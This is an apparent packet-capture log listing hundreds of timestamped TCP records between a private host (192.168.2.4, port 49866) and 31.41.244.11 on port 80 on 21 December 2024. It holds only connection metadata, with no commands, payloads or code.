Dec 21, 2024 18:16:50.403019905 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.403063059 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.403327942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.403870106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.403923988 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.403983116 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.404226065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.404772043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.404818058 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.404876947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.404944897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.405836105 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.405891895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.405926943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.406403065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.406656027 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.406718016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.406753063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.406882048 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.407767057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.407783031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.407824039 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.407839060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.408612967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.408664942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.408773899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.408828974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.409642935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.409692049 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.409744024 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.409946918 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.410398006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.410480976 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.410514116 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.410687923 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.411366940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.411462069 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.411500931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.411684990 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.412354946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.412406921 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.412516117 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.412641048 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.413434029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.413458109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.413496971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.413517952 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.414205074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.414261103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.414443970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.414572954 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.415309906 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.415374041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.415426016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.416102886 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.416161060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.416251898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.416369915 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.417145014 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.417162895 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.417200089 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.417212963 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.417999983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.418051004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.418071985 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.418411016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.418926954 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.418977976 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.418999910 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.419198036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.419961929 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.420022964 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.420047998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.420241117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.421021938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.421037912 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.421076059 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.421089888 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.421756983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.421818018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.421892881 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.422350883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.422679901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.422736883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.423024893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.423084974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.423650026 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.423706055 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.423801899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.424329042 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.424570084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.424623966 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.424683094 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.424844027 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.425513983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.425570965 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.425601006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.425786018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.426457882 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.426517963 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.442414999 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.442468882 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.442523003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.442543983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.442560911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.442675114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.442720890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.443329096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.443398952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.443450928 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.444293022 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.444365025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.444431067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.445193052 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.445249081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.445297003 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.445784092 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.446275949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.446300983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.446336985 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.446356058 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.447043896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.447093964 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.447168112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.447324991 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.576060057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.576085091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.576137066 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.576478004 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.576503992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.576539040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.576539040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.577280045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.577307940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.577569962 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.577981949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.578147888 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.578320980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.578366995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.578406096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.578458071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.579210043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.579289913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.579334974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.579380989 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.580095053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.580142021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.580215931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.580262899 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.581077099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.581127882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.581181049 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.581235886 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.581934929 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.582020044 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.582048893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.582097054 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.582819939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.582868099 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.582895041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.582940102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.583792925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.583937883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.583992004 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.584034920 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.584692001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.584738970 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.584798098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.584850073 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.585741997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.585788012 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.585819960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.585863113 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.586647987 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.586694956 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.586729050 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.586803913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.587635994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.587655067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.587683916 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.587697029 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.588550091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.588598967 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.588625908 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.588668108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.589449883 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.589490891 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.589519024 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.589534044 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.590544939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.590562105 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.590590954 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.590601921 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.591397047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.591444016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.591515064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.591559887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.592369080 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.592422962 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.592451096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.592499971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.593295097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.593311071 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.593343973 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.593369961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.594127893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.594232082 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.594276905 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.595125914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.595180035 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.595212936 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.595257998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.595995903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.596050024 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.596189976 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.596245050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.596951962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.597003937 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.597090960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.597136974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.597891092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.597966909 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.598000050 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.598042011 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.599001884 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.599018097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.599049091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.599076033 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.599843979 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.599891901 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.599932909 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.599976063 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.600716114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.600790024 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.600853920 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.600917101 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.601648092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.601700068 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.601759911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.601810932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.602617025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.602668047 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.602735996 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.602791071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.603591919 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.603636026 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.603930950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.603979111 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.604654074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.604720116 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.605082989 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.605133057 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.605685949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.605779886 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.605792046 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.605833054 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.606694937 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.606748104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.606781006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.606861115 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.607588053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.607633114 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.607770920 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.607851028 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.608530045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.608575106 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.608634949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.608680010 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.609508038 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.609524012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.609565973 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.610213041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.610256910 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.610317945 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.610366106 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.611128092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.611180067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.611207962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.611310005 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.612166882 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.612216949 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.612241983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.612279892 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.613029003 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.613092899 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.613265991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.613312960 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.613945007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.613990068 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.614072084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.614162922 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.615039110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.615086079 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.615180969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.615240097 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.615978003 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.615994930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.616031885 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.616041899 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.616873980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.616919041 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.617021084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.617067099 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.617723942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.617779970 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.617862940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.617908001 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.618655920 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.618701935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.634612083 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.634696960 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.634747028 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.634795904 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.634848118 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.634897947 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.634918928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.634965897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.635807991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.635855913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.635876894 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.636077881 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.636744976 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.636797905 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.636816025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.636853933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.637801886 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.637850046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.637900114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.637943983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.638606071 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.638650894 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.638879061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.638926983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.639806032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.639822960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.639874935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.639874935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:50.768546104 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.768569946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:50.768606901 CET	49866	80	192.168.2.4	31.41.244.11
